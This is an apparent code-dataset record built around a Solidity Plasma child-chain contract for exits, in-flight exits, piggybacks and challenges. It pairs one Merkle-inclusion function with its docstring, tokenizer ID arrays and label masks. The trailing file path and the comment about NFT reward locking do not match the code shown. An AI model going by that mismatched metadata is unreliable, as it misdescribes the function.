Enqueue the exit into the queue and update the exit mapping. _enqueueExit(output.token, exitPriority); exits[exitId] = Exit({ owner: output.owner, token: output.token, amount: output.amount, position: _utxoPos }); emit ExitStarted(output.owner, exitId); } /** * @dev Blocks a standard exit by showing the exiting output was spent. * @param _standardExitId Identifier of the standard exit to challenge. * @param _challengeTx RLP encoded transaction that spends the exiting output. * @param _inputIndex Which input of the challenging tx corresponds to the exiting output. * @param _challengeTxSig Signature from the exiting output owner over the spend. */ function challengeStandardExit(uint192 _standardExitId, bytes _challengeTx, uint8 _inputIndex, bytes _challengeTxSig) public { // Check that the output is being used as an input to the challenging tx. uint256 challengedUtxoPos = _challengeTx.getInputUtxoPosition(_inputIndex); require(challengedUtxoPos == exits[_standardExitId].position); // Check if exit exists. address owner = exits[_standardExitId].owner; // Check that the challenging tx is signed by the output's owner. require(owner == ECRecovery.recover(Eip712StructHash.hash(_challengeTx), _challengeTxSig)); _processChallengeStandardExit(challengedUtxoPos, _standardExitId); } function _cleanupDoubleSpendingStandardExits(uint256 _utxoPos, bytes _txbytes) internal returns (bool) { uint192 standardExitId = getStandardExitId(_txbytes, _utxoPos); if (exits[standardExitId].owner != address(0)) { _processChallengeStandardExit(_utxoPos, standardExitId); return false; } return exits[standardExitId].amount != 0; } function _processChallengeStandardExit(uint256 _utxoPos, uint192 _exitId) internal { // Delete the exit. delete exits[_exitId]; // Send a bond to the challenger. msg.sender.transfer(standardExitBond); emit ExitChallenged(_utxoPos); } /** * @dev Allows the operator withdraw any allotted fees. Starts an exit to avoid theft. * @param _token Token to withdraw. * @param _amount Amount in fees to withdraw. */ function startFeeExit(address _token, uint256 _amount) public payable onlyOperator onlyWithValue(standardExitBond) { // Make sure queue for this token exists. require(hasToken(_token)); // Make sure this exit is valid. require(_amount > 0); uint192 exitId = getFeeExitId(nextFeeExit); // Determine the exit's priority. uint256 exitPriority = getFeeExitPriority(exitId); // Insert the exit into the queue and update the exit mapping. PriorityQueue queue = PriorityQueue(exitsQueues[_token]); queue.insert(exitPriority); exits[exitId] = Exit({ owner: operator, token: _token, amount: _amount, position: uint192(nextFeeExit) }); nextFeeExit++; emit ExitStarted(operator, exitId); } /** * @dev Starts an exit for an in-flight transaction. * @param _inFlightTx RLP encoded in-flight transaction. * @param _inputTxs Transactions that created the inputs to the in-flight transaction. * @param _inputTxsInclusionProofs Merkle proofs that show the input-creating transactions are valid. * @param _inFlightTxSigs Signatures from the owners of each input. */ function startInFlightExit( bytes _inFlightTx, bytes _inputTxs, bytes _inputTxsInclusionProofs, bytes _inFlightTxSigs ) public payable onlyWithValue(inFlightExitBond) { // Check if there is an active in-flight exit from this transaction? InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); require(inFlightExit.exitStartTimestamp == 0); // Check if such an in-flight exit has already been finalized require(!isFinalized(inFlightExit)); // Separate the inputs transactions. RLP.RLPItem[] memory splitInputTxs = _inputTxs.toRLPItem().toList(); uint256 [] memory inputTxoPos = new uint256[](splitInputTxs.length); uint256 youngestInputTxoPos; bool finalized; bool any_finalized = false; for (uint8 i = 0; i < MAX_INPUTS; i++) { if (_inFlightTx.getInputUtxoPosition(i) == 0) break; (inFlightExit.inputs[i], inputTxoPos[i], finalized) = _getInputInfo( _inFlightTx, splitInputTxs[i].toBytes(), _inputTxsInclusionProofs, _inFlightTxSigs.sliceSignature(i), i ); youngestInputTxoPos = Math.max(youngestInputTxoPos, inputTxoPos[i]); any_finalized = any_finalized || finalized; // check whether IFE spends one UTXO twice for (uint8 j = 0; j < i; ++j){ require(inputTxoPos[i] != inputTxoPos[j]); } } // Validate sums of inputs against sum of outputs token-wise _validateInputsOutputsSumUp(inFlightExit, _inFlightTx); // Update the exit mapping. inFlightExit.bondOwner = msg.sender; inFlightExit.exitStartTimestamp = block.timestamp; inFlightExit.exitPriority = getInFlightExitPriority(_inFlightTx, youngestInputTxoPos); // If any of the inputs were finalized via standard exit, consider it non-canonical // and flag as not taking part in further canonicity game. if (any_finalized) { setNonCanonical(inFlightExit); } emit InFlightExitStarted(msg.sender, keccak256(_inFlightTx)); } function _enqueueExit(address _token, uint256 _exitPriority) private { // Make sure queue for this token exists. require(hasToken(_token)); PriorityQueue queue = PriorityQueue(exitsQueues[_token]); queue.insert(_exitPriority); } /** * @dev Allows a user to piggyback onto an in-flight transaction. NOTE: requires the exiting UTXO's token to be added via `addToken` * @param _inFlightTx RLP encoded in-flight transaction. * @param _outputIndex Index of the input/output to piggyback (0-7). */ function piggybackInFlightExit( bytes _inFlightTx, uint8 _outputIndex ) public payable onlyWithValue(piggybackBond) { bytes32 txhash = keccak256(_inFlightTx); // Check that the output index is valid. require(_outputIndex < 8); // Check if SE from the output is not started nor finalized if (_outputIndex >= MAX_INPUTS) { // Note that we cannot in-flight exit from a deposit, therefore here the output of the transaction // cannot be an output of deposit, so we do not have to use `getStandardExitId` (we actually cannot // as an output of IFE does not have utxoPos) require(exits[_computeStandardExitId(txhash, _outputIndex - MAX_INPUTS)].amount == 0); } // Check that the in-flight exit is active and in period 1. InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); require(_firstPhaseNotOver(inFlightExit)); // Check that we're not piggybacking something that's already been piggybacked. require(!isPiggybacked(inFlightExit, _outputIndex)); // Check that the message sender owns the output. PlasmaCore.TransactionOutput memory output; if (_outputIndex < MAX_INPUTS) { output = inFlightExit.inputs[_outputIndex]; } else { output = _inFlightTx.getOutput(_outputIndex - MAX_INPUTS); // Set the output so it can be exited later. inFlightExit.outputs[_outputIndex - MAX_INPUTS] = output; } require(output.owner == msg.sender); // Enqueue the exit in a right queue, if not already enqueued. if (_shouldEnqueueInFlightExit(inFlightExit, output.token)) { _enqueueExit(output.token, inFlightExit.exitPriority); } // Set the output as piggybacked. setPiggybacked(inFlightExit, _outputIndex); emit InFlightExitPiggybacked(msg.sender, txhash, _outputIndex); } function _shouldEnqueueInFlightExit(InFlightExit storage _inFlightExit, address _token) internal view returns (bool) { for (uint8 i = 0; i < MAX_INPUTS; ++i) { if ( (isPiggybacked(_inFlightExit, i) && _inFlightExit.inputs[i].token == _token) || (isPiggybacked(_inFlightExit, i + MAX_INPUTS) && _inFlightExit.outputs[i].token == _token) ) { return false; } } return true; } /** * @dev Attempts to prove that an in-flight exit is not canonical. * @param _inFlightTx RLP encoded in-flight transaction being exited. * @param _inFlightTxInputIndex Index of the double-spent input in the in-flight transaction. * @param _competingTx RLP encoded transaction that spent the input. * @param _competingTxInputIndex Index of the double-spent input in the competing transaction. * @param _competingTxPos Position of the competing transaction. * @param _competingTxInclusionProof Proof that the competing transaction was included. * @param _competingTxSig Signature proving that the owner of the input signed the competitor. */ function challengeInFlightExitNotCanonical( bytes _inFlightTx, uint8 _inFlightTxInputIndex, bytes _competingTx, uint8 _competingTxInputIndex, uint256 _competingTxPos, bytes _competingTxInclusionProof, bytes _competingTxSig ) public { // Check that the exit is active and in period 1. InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); require(_firstPhaseNotOver(inFlightExit)); // Check if exit's input was spent via MVP exit require(!isInputSpent(inFlightExit)); // Check that the two transactions are not the same. require(keccak256(_inFlightTx) != keccak256(_competingTx)); // Check that the two transactions share an input. uint256 inFlightTxInputPos = _inFlightTx.getInputUtxoPosition(_inFlightTxInputIndex); require(inFlightTxInputPos == _competingTx.getInputUtxoPosition(_competingTxInputIndex)); // Check that the competing transaction is correctly signed. PlasmaCore.TransactionOutput memory input = inFlightExit.inputs[_inFlightTxInputIndex]; require(input.owner == ECRecovery.recover(Eip712StructHash.hash(_competingTx), _competingTxSig)); // Determine the position of the competing transaction. uint256 competitorPosition = ~uint256(0); if (_competingTxPos != 0) { // Check that the competing transaction was included in a block. require(_transactionIncluded(_competingTx, _competingTxPos, _competingTxInclusionProof)); competitorPosition = _competingTxPos; } // Competitor must be first or must be older than the current oldest competitor. require(inFlightExit.oldestCompetitor == 0 || inFlightExit.oldestCompetitor > competitorPosition); // Set the oldest competitor and new bond owner. inFlightExit.oldestCompetitor = competitorPosition; inFlightExit.bondOwner = msg.sender; // Set a flag so that only the inputs are exitable, unless a response is received. setNonCanonicalChallenge(inFlightExit); emit InFlightExitChallenged(msg.sender, keccak256(_inFlightTx), competitorPosition); } /** * @dev Allows a user to respond to competitors to an in-flight exit by showing the transaction is included. * @param _inFlightTx RLP encoded in-flight transaction being exited. * @param _inFlightTxPos Position of the in-flight transaction in the chain. * @param _inFlightTxInclusionProof Proof that the in-flight transaction is included before the competitor. */ function respondToNonCanonicalChallenge( bytes _inFlightTx, uint256 _inFlightTxPos, bytes _inFlightTxInclusionProof ) public { InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); // Check that there is a challenge and in-flight transaction is older than its competitors. require(inFlightExit.oldestCompetitor > _inFlightTxPos); // Check that the in-flight transaction was included. require(_transactionIncluded(_inFlightTx, _inFlightTxPos, _inFlightTxInclusionProof)); // Fix the oldest competitor and new bond owner. inFlightExit.oldestCompetitor = _inFlightTxPos; inFlightExit.bondOwner = msg.sender; // Reset the flag so only the outputs are exitable. setCanonical(inFlightExit); emit InFlightExitChallengeResponded(msg.sender, keccak256(_inFlightTx), _inFlightTxPos); } /** * @dev Removes an input from list of exitable outputs in an in-flight transaction. * @param _inFlightTx RLP encoded in-flight transaction being exited. * @param _inFlightTxInputIndex Input that's been spent. * @param _spendingTx RLP encoded transaction that spends the input. * @param _spendingTxInputIndex Which input to the spending transaction spends the input. * @param _spendingTxSig Signature that shows the input owner signed the spending transaction. */ function challengeInFlightExitInputSpent( bytes _inFlightTx, uint8 _inFlightTxInputIndex, bytes _spendingTx, uint8 _spendingTxInputIndex, bytes _spendingTxSig ) public { InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); // Check that the input is piggybacked. require(isPiggybacked(inFlightExit, _inFlightTxInputIndex)); // Check that the two transactions are not the same. require(keccak256(_inFlightTx) != keccak256(_spendingTx)); // Check that the two transactions share an input. uint256 inFlightTxInputPos = _inFlightTx.getInputUtxoPosition(_inFlightTxInputIndex); require(inFlightTxInputPos == _spendingTx.getInputUtxoPosition(_spendingTxInputIndex)); // Check that the spending transaction is signed by the input owner. PlasmaCore.TransactionOutput memory input = inFlightExit.inputs[_inFlightTxInputIndex]; require(input.owner == ECRecovery.recover(Eip712StructHash.hash(_spendingTx), _spendingTxSig)); // Remove the input from the piggyback map and pay out the bond. setExitCancelled(inFlightExit, _inFlightTxInputIndex); msg.sender.transfer(piggybackBond); emit InFlightExitOutputBlocked(msg.sender, keccak256(_inFlightTx), _inFlightTxInputIndex); } /** * @dev Removes an output from list of exitable outputs in an in-flight transaction. * @param _inFlightTx RLP encoded in-flight transaction being exited. * @param _inFlightTxOutputPos Output that's been spent. * @param _inFlightTxInclusionProof Proof that the in-flight transaction was included. * @param _spendingTx RLP encoded transaction that spends the input. * @param _spendingTxInputIndex Which input to the spending transaction spends the input. * @param _spendingTxSig Signature that shows the input owner signed the spending transaction. */ function challengeInFlightExitOutputSpent( bytes _inFlightTx, uint256 _inFlightTxOutputPos, bytes _inFlightTxInclusionProof, bytes _spendingTx, uint8 _spendingTxInputIndex, bytes _spendingTxSig ) public { InFlightExit storage inFlightExit = _getInFlightExit(_inFlightTx); // Check that the output is piggybacked. uint8 oindex = _inFlightTxOutputPos.getOindex(); require(isPiggybacked(inFlightExit, oindex + MAX_INPUTS)); // Check that the in-flight transaction is included. require(_transactionIncluded(_inFlightTx, _inFlightTxOutputPos, _inFlightTxInclusionProof)); // Check that the spending transaction spends the output. require(_inFlightTxOutputPos == _spendingTx.getInputUtxoPosition(_spendingTxInputIndex)); // Check that the spending transaction is signed by the input owner. PlasmaCore.TransactionOutput memory output = _inFlightTx.getOutput(oindex); require(output.owner == ECRecovery.recover(Eip712StructHash.hash(_spendingTx), _spendingTxSig)); // Remove the output from the piggyback map and pay out the bond. setExitCancelled(inFlightExit, oindex + MAX_INPUTS); msg.sender.transfer(piggybackBond); emit InFlightExitOutputBlocked(msg.sender, keccak256(_inFlightTx), oindex); } /** * @dev Processes any exits that have completed the challenge period. * @param _token Token type to process. * @param _topExitId First exit that should be processed. Set to zero to skip the check. * @param _exitsToProcess Maximal number of exits to process. */ function processExits(address _token, uint192 _topExitId, uint256 _exitsToProcess) public { uint64 exitableTimestamp; uint192 exitId; bool inFlight; (exitableTimestamp, exitId, inFlight) = getNextExit(_token); require(_topExitId == exitId || _topExitId == 0); PriorityQueue queue = PriorityQueue(exitsQueues[_token]); while (exitableTimestamp < block.timestamp && _exitsToProcess > 0) { // Delete the minimum from the queue. queue.delMin(); // Check for the in-flight exit flag. if (inFlight) { // handle ERC20 transfers for InFlight exits _processInFlightExit(inFlightExits[exitId], exitId, _token); // think of useful event scheme for in-flight outputs finalization } else { _processStandardExit(exits[exitId], exitId); } // Pull the next exit. if (queue.currentSize() > 0) { (exitableTimestamp, exitId, inFlight) = getNextExit(_token); _exitsToProcess--; } else { return; } } } /** * @dev Given an RLP encoded transaction, returns its exit ID. * @param _tx RLP encoded transaction. * @return _uniqueId A unique identifier of an in-flight exit. * Anatomy of returned value, most significant bits first: * 8 bits - set to zero * 1 bit - in-flight flag * 151 bit - tx hash */ function getInFlightExitId(bytes _tx) public pure returns (uint192) { return uint192((uint256(keccak256(_tx)) >> 105).setBit(151)); } /** * @dev Given transaction bytes and UTXO position, returns its exit ID. * @notice Id from a deposit is computed differently from any other tx. * @param _txbytes Transaction bytes. * @param _utxoPos UTXO position of the exiting output. * @return _standardExitId Unique standard exit id. * Anatomy of returned value, most significant bits first: * 8 bits - oindex * 1 bit - in-flight flag * 151 bit - tx hash */ function getStandardExitId(bytes memory _txbytes, uint256 _utxoPos) public view returns (uint192) { bytes memory toBeHashed = _txbytes; if (_isDeposit(_utxoPos.getBlknum())){ toBeHashed = abi.encodePacked(_txbytes, _utxoPos); } return _computeStandardExitId(keccak256(toBeHashed), _utxoPos.getOindex()); } function getFeeExitId(uint256 feeExitNum) public pure returns (uint192) { return _computeStandardExitId(keccak256(feeExitNum), 0); } function _computeStandardExitId(bytes32 _txhash, uint8 _oindex) internal pure returns (uint192) { return uint192((uint256(_txhash) >> 105) | (uint256(_oindex) << 152)); } /** * @dev Returns the next exit to be processed * @return A tuple with timestamp for when the next exit is processable, its unique exit id and flag determining if exit is in-flight one. */ function getNextExit(address _token) public view returns (uint64, uint192, bool) { PriorityQueue queue = PriorityQueue(exitsQueues[_token]); uint256 priority = queue.getMin(); return unpackExitId(priority); } function unpackExitId(uint256 priority) public pure returns (uint64, uint192, bool) { uint64 exitableTimestamp = uint64(priority >> 214); bool inFlight = priority.getBit(151) == 1; // get 160 least significant bits uint192 exitId = uint192((priority << 96) >> 96); return (exitableTimestamp, exitId, inFlight); } /** * @dev Checks if queue for particular token was created. * @param _token Address of the token. */ function hasToken(address _token) view public returns (bool) { return exitsQueues[_token] != address(0); } /** * @dev Returns the data associated with an input or output to an in-flight transaction. * @param _tx RLP encoded in-flight transaction. * @param _outputIndex Index of the output to query. * @return A tuple containing the output's owner and amount. */ function getInFlightExitOutput(bytes _tx, uint256 _outputIndex) public view returns (address, address, uint256) { InFlightExit memory inFlightExit = _getInFlightExit(_tx); PlasmaCore.TransactionOutput memory output; if (_outputIndex < MAX_INPUTS) { output = inFlightExit.inputs[_outputIndex]; } else { output = inFlightExit.outputs[_outputIndex - MAX_INPUTS]; } return (output.owner, output.token, output.amount); } /** * @dev Calculates the next deposit block. * @return Next deposit block number. */ function getDepositBlockNumber() public view returns (uint256) { return nextChildBlock - CHILD_BLOCK_INTERVAL + nextDepositBlock; } function flagged(uint256 _value) public pure returns (bool) { return _value.bitSet(255) || _value.bitSet(254); } /* * Internal functions */ function getInFlightExitTimestamp(InFlightExit storage _ife) private view returns (uint256) { return _ife.exitStartTimestamp.clearBit(255); } function isPiggybacked(InFlightExit storage _ife, uint8 _output) view private returns (bool) { return _ife.exitMap.bitSet(_output); } function isExited(InFlightExit storage _ife, uint8 _output) view private returns (bool) { return _ife.exitMap.bitSet(_output + MAX_INPUTS * 2); } function isInputSpent(InFlightExit storage _ife) view private returns (bool) { return _ife.exitStartTimestamp.bitSet(254); } function setPiggybacked(InFlightExit storage _ife, uint8 _output) private { _ife.exitMap = _ife.exitMap.setBit(_output); } function setExited(InFlightExit storage _ife, uint8 _output) private { _ife.exitMap = _ife.exitMap.clearBit(_output).setBit(_output + 2 * MAX_INPUTS); } function setNonCanonical(InFlightExit storage _ife) private { _ife.exitStartTimestamp = _ife.exitStartTimestamp.setBit(254); } function setFinalized(InFlightExit storage _ife) private { _ife.exitMap = _ife.exitMap.setBit(255); } function setNonCanonicalChallenge(InFlightExit storage _ife) private { _ife.exitStartTimestamp = _ife.exitStartTimestamp.setBit(255); } function setCanonical(InFlightExit storage _ife) private { _ife.exitStartTimestamp = _ife.exitStartTimestamp.clearBit(255); } function setExitCancelled(InFlightExit storage _ife, uint8 _output) private { _ife.exitMap = _ife.exitMap.clearBit(_output); } function isInputExit(InFlightExit storage _ife) view private returns (bool) { return _ife.exitStartTimestamp.bitSet(255) || _ife.exitStartTimestamp.bitSet(254); } function isFinalized(InFlightExit storage _ife) view private returns (bool) { return _ife.exitMap.bitSet(255); } /** * @dev Given an utxo position, determines when it's exitable, if it were to be exited now. * @param _utxoPos Output identifier. * @return uint256 Timestamp after which this output is exitable. */ function getExitableTimestamp(uint256 _utxoPos) public view returns (uint256) { uint256 blknum = _utxoPos.getBlknum(); if (_isDeposit(blknum)) { // High priority exit for the deposit. return block.timestamp + minExitPeriod; } else { return Math.max(blocks[blknum].timestamp + (minExitPeriod * 2), block.timestamp + minExitPeriod); } } /** * @dev Given a fee exit ID returns an exit priority. * @param _feeExitId Fee exit identifier. * @return An exit priority. */ function getFeeExitPriority(uint192 _feeExitId) public view returns (uint256) { return (uint256(block.timestamp + (minExitPeriod * 2)) << 214) | uint256(_feeExitId); } /** * @dev Given a utxo position and a unique ID, returns an exit priority. * @param _exitId Unique exit identifier. * @param _utxoPos Position of the exit in the blockchain. * @return An exit priority. * Anatomy of returned value, most significant bits first * 42 bits - timestamp (exitable_at); unix timestamp fits into 32 bits * 54 bits - blknum * 10^9 + txindex; to represent all utxo for 10 years we need only 54 bits * 8 bits - oindex; set to zero for in-flight tx * 1 bit - in-flight flag * 151 bit - tx hash */ function getStandardExitPriority(uint192 _exitId, uint256 _utxoPos) public view returns (uint256) { uint256 tx_pos = _utxoPos.getTxPos(); return ((getExitableTimestamp(_utxoPos) << 214) | (tx_pos << 160)) | _exitId; } /** * @dev Given a transaction and the ID for a output in the transaction, returns an exit priority. * @param _txoPos Identifier of an output in the transaction. * @param _tx RLP encoded transaction. * @return An exit priority. */ function getInFlightExitPriority(bytes _tx, uint256 _txoPos) view returns (uint256) { return getStandardExitPriority(getInFlightExitId(_tx), _txoPos); } /** * @dev Checks that a given transaction was included in a block and created a specified output. * @param _tx RLP encoded transaction to verify. * @param _transactionPos Transaction position for the encoded transaction. * @param _txInclusionProof Proof that the transaction was in a block. * @return True if the transaction was in a block and created the output. False otherwise. */ function _transactionIncluded(bytes _tx, uint256 _transactionPos, bytes _txInclusionProof) internal view returns (bool) { // Decode the transaction ID. uint256 blknum = _transactionPos.getBlknum(); uint256 txindex = _transactionPos.getTxIndex(); // Check that the transaction was correctly included. bytes32 blockRoot = blocks[blknum].root; bytes32 leafHash = keccak256(_tx); return Merkle.checkMembership(leafHash, txindex, blockRoot, _txInclusionProof); } /** * @dev Returns the in-flight exit for a given in-flight transaction. * @param _inFlightTx RLP encoded in-flight transaction. * @return An InFlightExit reference. */ function _getInFlightExit(bytes _inFlightTx) internal view returns (InFlightExit storage) { return inFlightExits[getInFlightExitId(_inFlightTx)]; } /** * @dev Checks that in-flight exit is in phase that allows for piggybacks and canonicity challenges. * @param _inFlightExit Exit to check. * @return True only if in-flight exit is in phase that allows for piggybacks and canonicity challenges. */ function _firstPhaseNotOver(InFlightExit storage _inFlightExit) internal view returns (bool) { uint256 periodTime = minExitPeriod / 2; return ((block.timestamp - getInFlightExitTimestamp(_inFlightExit)) / periodTime) < 1; } /** * @dev Returns the number of required inputs and sum of the outputs for a transaction. * @param _tx RLP encoded transaction. * @return A tuple containing the number of inputs and the sum of the outputs of tx. */ function _validateInputsOutputsSumUp(InFlightExit storage _inFlightExit, bytes _tx) internal view { _InputSum[MAX_INPUTS] memory sums; uint8 allocatedSums = 0; _InputSum memory tokenSum; uint8 i; // Loop through each input for (i = 0; i < MAX_INPUTS; ++i) { PlasmaCore.TransactionOutput memory input = _inFlightExit.inputs[i]; // Add current input amount to the overall transaction sum (token-wise) (tokenSum, allocatedSums) = _getInputSumByToken(sums, allocatedSums, input.token); tokenSum.amount += input.amount; } // Loop through each output for (i = 0; i < MAX_INPUTS; ++i) { PlasmaCore.TransactionOutput memory output = _tx.getOutput(i); (tokenSum, allocatedSums) = _getInputSumByToken(sums, allocatedSums, output.token); // Underflow protection require(tokenSum.amount >= output.amount); tokenSum.amount -= output.amount; } } /** * @dev Returns element of an array where sum of the given token is stored. * @param _sums array of sums by tokens * @param _allocated Number of currently allocated elements in _sums array * @param _token Token address which sum is being searched for * @return A tuple containing element of array and an updated number of currently allocated elements */ function _getInputSumByToken(_InputSum[MAX_INPUTS] memory _sums, uint8 _allocated, address _token) internal pure returns (_InputSum, uint8) { // Find token sum within already used ones for (uint8 i = 0; i < _allocated; ++i) { if (_sums[i].token == _token) { return (_sums[i], _allocated); } } // Check whether trying to allocate new token sum, even though all has been used // Notice: that there will never be more tokens than number of inputs, // as outputs must be of the same tokens as inputs require(_allocated < MAX_INPUTS); // Allocate new token sum _sums[_allocated].token = _token; return (_sums[_allocated], _allocated + 1); } /** * @dev Returns information about an input to a in-flight transaction. * @param _tx RLP encoded transaction. * @param _inputTx RLP encoded transaction that created particular input to this transaction. * @param _txInputTxsInclusionProofs Proofs of inclusion for each input creation transaction. * @param _inputSig Signature for spent output of the input transaction. * @param _inputIndex Which input to access. * @return A tuple containing information about the inputs. */ function _getInputInfo( bytes _tx, bytes memory _inputTx, bytes _txInputTxsInclusionProofs, bytes _inputSig, uint8 _inputIndex ) internal view returns (PlasmaCore.TransactionOutput, uint256, bool) { bool already_finalized; // Pull information about the the input. uint256 inputUtxoPos = _tx.getInputUtxoPosition(_inputIndex); PlasmaCore.TransactionOutput memory input = _inputTx.getOutput(inputUtxoPos.getOindex()); // Check that the transaction is valid. require(_transactionIncluded(_inputTx, inputUtxoPos, _txInputTxsInclusionProofs.sliceProof(_inputIndex))); require(input.owner == ECRecovery.recover(Eip712StructHash.hash(_tx), _inputSig)); // Challenge exiting standard exits from inputs already_finalized = _cleanupDoubleSpendingStandardExits(inputUtxoPos, _inputTx); return (input, inputUtxoPos, already_finalized); } /** * @dev Processes a standard exit. * @param _standardExit Exit to process. */ function _processStandardExit(Exit storage _standardExit, uint192 exitId) internal { // If the exit is valid, pay out the exit and refund the bond. if (_standardExit.owner != address(0)) { if (_standardExit.token == address(0)) { _standardExit.owner.transfer(_standardExit.amount + standardExitBond); } else { require(ERC20(_standardExit.token).transfer(_standardExit.owner, _standardExit.amount)); _standardExit.owner.transfer(standardExitBond); } // Only delete the owner so someone can't exit from the same output twice. delete _standardExit.owner; // Delete token too, since check is done by amount anyway. delete _standardExit.token; emit ExitFinalized(exitId); } } /** * @dev Processes an in-flight exit. * @param _inFlightExit Exit to process. * @param _inFlightExitId Id of the exit process * @param _token Token from which exits are to be processed */ function _processInFlightExit(InFlightExit storage _inFlightExit, uint192 _inFlightExitId, address _token) internal { // Determine whether the inputs or the outputs are the exitable set. bool inputsExitable = isInputExit(_inFlightExit); // Process the inputs or outputs. PlasmaCore.TransactionOutput memory output; uint256 ethTransferAmount; for (uint8 i = 0; i < 8; i++) { if (i < MAX_INPUTS) { output = _inFlightExit.inputs[i]; } else { output = _inFlightExit.outputs[i - MAX_INPUTS]; } // Check if the output's token or the "to exit" bit is not set. if (output.token != _token || !isPiggybacked(_inFlightExit, i)) { continue; } // Set bit flag to prevent future exits by standard exit mechanism. setExited(_inFlightExit, i); // Pay out any unchallenged and exitable inputs or outputs, refund the rest. ethTransferAmount = piggybackBond; if ((i < MAX_INPUTS && inputsExitable) || (i >= MAX_INPUTS && !inputsExitable)) { if (_token == address(0)) { ethTransferAmount += output.amount; } else { require(ERC20(_token).transfer(output.owner, output.amount)); } emit InFlightExitFinalized(_inFlightExitId, i); } output.owner.transfer(ethTransferAmount); } if (_shouldClearInFlightExit(_inFlightExit)) { _clearInFlightExit(_inFlightExit); } } function _shouldClearInFlightExit(InFlightExit storage _inFlightExit) internal returns (bool) { for (uint8 i = 0; i < MAX_INPUTS * 2; ++i) { // Check if any output is still piggybacked and awaits processing if (isPiggybacked(_inFlightExit, i)) { return false; } } return true; } function _clearInFlightExit(InFlightExit storage _inFlightExit) internal { // Refund the current bond owner. _inFlightExit.bondOwner.transfer(inFlightExitBond); // Flag as finalized setFinalized(_inFlightExit); // Delete everything but the exit map to block exits from already processed outputs. delete _inFlightExit.exitStartTimestamp; delete _inFlightExit.exitPriority; delete _inFlightExit.inputs; delete _inFlightExit.outputs; delete _inFlightExit.bondOwner; delete _inFlightExit.oldestCompetitor; } function _isDeposit(uint256 blknum) internal returns (bool) { return blknum % CHILD_BLOCK_INTERVAL != 0; } /** * @dev Can be called only once in `init`. */ function _initOperator() { require(operator == address(0)); operator = msg.sender; } }
* @dev Checks that a given transaction was included in a block and created a specified output. @param _tx RLP encoded transaction to verify. @param _transactionPos Transaction position for the encoded transaction. @param _txInclusionProof Proof that the transaction was in a block. @return True if the transaction was in a block and created the output. False otherwise./ Decode the transaction ID. Check that the transaction was correctly included.
function _transactionIncluded(bytes _tx, uint256 _transactionPos, bytes _txInclusionProof) internal view returns (bool) { uint256 blknum = _transactionPos.getBlknum(); uint256 txindex = _transactionPos.getTxIndex(); bytes32 blockRoot = blocks[blknum].root; bytes32 leafHash = keccak256(_tx); return Merkle.checkMembership(leafHash, txindex, blockRoot, _txInclusionProof); }
6,432,328
[ 1, 4081, 716, 279, 864, 2492, 1703, 5849, 316, 279, 1203, 471, 2522, 279, 1269, 876, 18, 225, 389, 978, 534, 14461, 3749, 2492, 358, 3929, 18, 225, 389, 7958, 1616, 5947, 1754, 364, 326, 3749, 2492, 18, 225, 389, 978, 382, 15335, 20439, 1186, 792, 716, 326, 2492, 1703, 316, 279, 1203, 18, 327, 1053, 309, 326, 2492, 1703, 316, 279, 1203, 471, 2522, 326, 876, 18, 1083, 3541, 18, 19, 6209, 326, 2492, 1599, 18, 2073, 716, 326, 2492, 1703, 8783, 5849, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 7958, 19323, 12, 3890, 389, 978, 16, 2254, 5034, 389, 7958, 1616, 16, 1731, 389, 978, 382, 15335, 20439, 13, 203, 3639, 2713, 203, 3639, 1476, 203, 3639, 1135, 261, 6430, 13, 203, 565, 288, 203, 3639, 2254, 5034, 11992, 2107, 273, 389, 7958, 1616, 18, 588, 4802, 79, 2107, 5621, 203, 3639, 2254, 5034, 2229, 1615, 273, 389, 7958, 1616, 18, 588, 4188, 1016, 5621, 203, 203, 3639, 1731, 1578, 1203, 2375, 273, 4398, 63, 3083, 79, 2107, 8009, 3085, 31, 203, 3639, 1731, 1578, 7839, 2310, 273, 417, 24410, 581, 5034, 24899, 978, 1769, 203, 3639, 327, 31827, 18, 1893, 13447, 12, 12070, 2310, 16, 2229, 1615, 16, 1203, 2375, 16, 389, 978, 382, 15335, 20439, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x3bF4788621B18eCE94B9C2F916b39FDB6d1dF8aa/sources/MineDAPP.sol
//Locking rewards for all NFTs
